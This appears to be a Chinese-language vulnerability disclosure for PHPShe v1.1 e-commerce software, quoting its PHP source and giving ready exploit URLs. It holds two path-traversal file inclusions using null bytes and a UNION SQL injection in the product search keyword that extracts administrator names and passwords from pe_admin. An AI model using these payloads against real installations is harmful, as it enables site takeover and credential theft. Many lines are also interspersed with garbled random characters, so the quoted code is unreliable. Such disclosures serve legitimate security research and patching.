phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
1 w9 k7 h( \! s# e  T/* Phpshe v1.1 Vulnerability
0 n4 e4 `) v  m/* ========================
7 O, K$ M, `8 c) m$ F/* By: : Kn1f3
% C% i& t& \6 Y; v2 O$ u* P+ ^/* E-Mail : 681796@qq.com
2 ^  {' H6 x# W+ f8 R/*******************************************************/
0×00 整体大概参数传输

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3 u) m6 @/ H* K% [( d" O, [//common.php
if (get_magic_quotes_gpc()) {
  A# m8 O" _! _1 @!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
! [; g/ G# {, Q!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
) \2 l% J: S2 [  A!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 d6 B8 q6 Q7 {  D8 H8 T6 }!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
. B) [# _, o$ ]/ b; O
  q* |/ r2 d" D3 W, D4 Z9 p0×01 包含漏洞
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) c6 n* {" u& H//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
" Y6 e( ~: {  B/ ]& s- O1 |4 O' o' D+ G9 npe_result();
?>
//common 文件 第15行开始
url路由配置
+ m2 R+ j$ s: W5 A- D$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
3 y3 O/ i" f5 A1 \$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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+ j8 P; C" ?; P; c- [ 0×02 搜索注入

<code id="code2">

//product.php文件
2 ^: T0 D5 x5 M" Rcase 'list':
1 {: N$ m8 R# l5 n. i  Y$category_id = intval($id);
+ {( Z0 y' a- `% X$info = $db->pe_select('category', array('category_id'=>$category_id));
9 ~& m% ]* k: P$ c3 D//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
: v6 t2 Q  X/ z* g% S$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 g) x/ Z* d/ s$ d4 d: q( Z$ w* \' hif ($_g_orderby) {
* ~  X$ e; R% c& U9 q$orderby = explode('_', $_g_orderby);
- q! |7 D, v+ }1 c+ R6 m$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
) Q4 n: j: h7 }, m7 C$sqlwhere .= " order by `product_id` desc";
) I4 b, O) H% w$ |9 K}
: {2 u3 a$ }+ F8 A: ]5 v2 T$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
+ W. E% I9 c- m0 |; \. T//当前路径
- u+ c% U7 Y1 p2 B. O$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
4 K& s+ {! P( finclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
, _* J4 A1 P, p: |) e7 ^{
. P, W8 r, F  o9 C! I& O//处理条件语句
, a. H  ~# s9 e: a) v" E6 m$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
! J  J2 Y8 r2 D2 k6 e6 H6 C//exp
# U, q0 O+ |& Y  }2 ~  ?product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
+ U) w* s0 k7 J& w- q% r

</code>

0 B: @- W" v2 E3 x0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

3 }' G4 R- d' `8 i5 m0 a$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

; I- d/ R0 L# q) Gforeach ($info_list as $v) {

* E0 d; u( v7 d: R; T$ I1 {: Y5 {, b$order['order_name'] .= "{$v['product_name']};";

}

. }9 w* c& p. G0 s; F3 L: vecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

  N7 |5 b4 ~$ t3 m; {}//当一切准备好的时候就可以进行"鸡肋包含了"

; {- i6 e' K, L/ Celse {

3 I& P  G1 M' o$ _8 Gpe_error('支付错误...');

}

+ p$ @2 U( P" C4 K! m}

# ~3 Y, |. N9 c$seo = pe_seo('选择支付方式');

  e/ b% z$ a! ~, G- n6 finclude(pe_tpl('order_pay.html'));

/ U1 g2 A5 M' Cbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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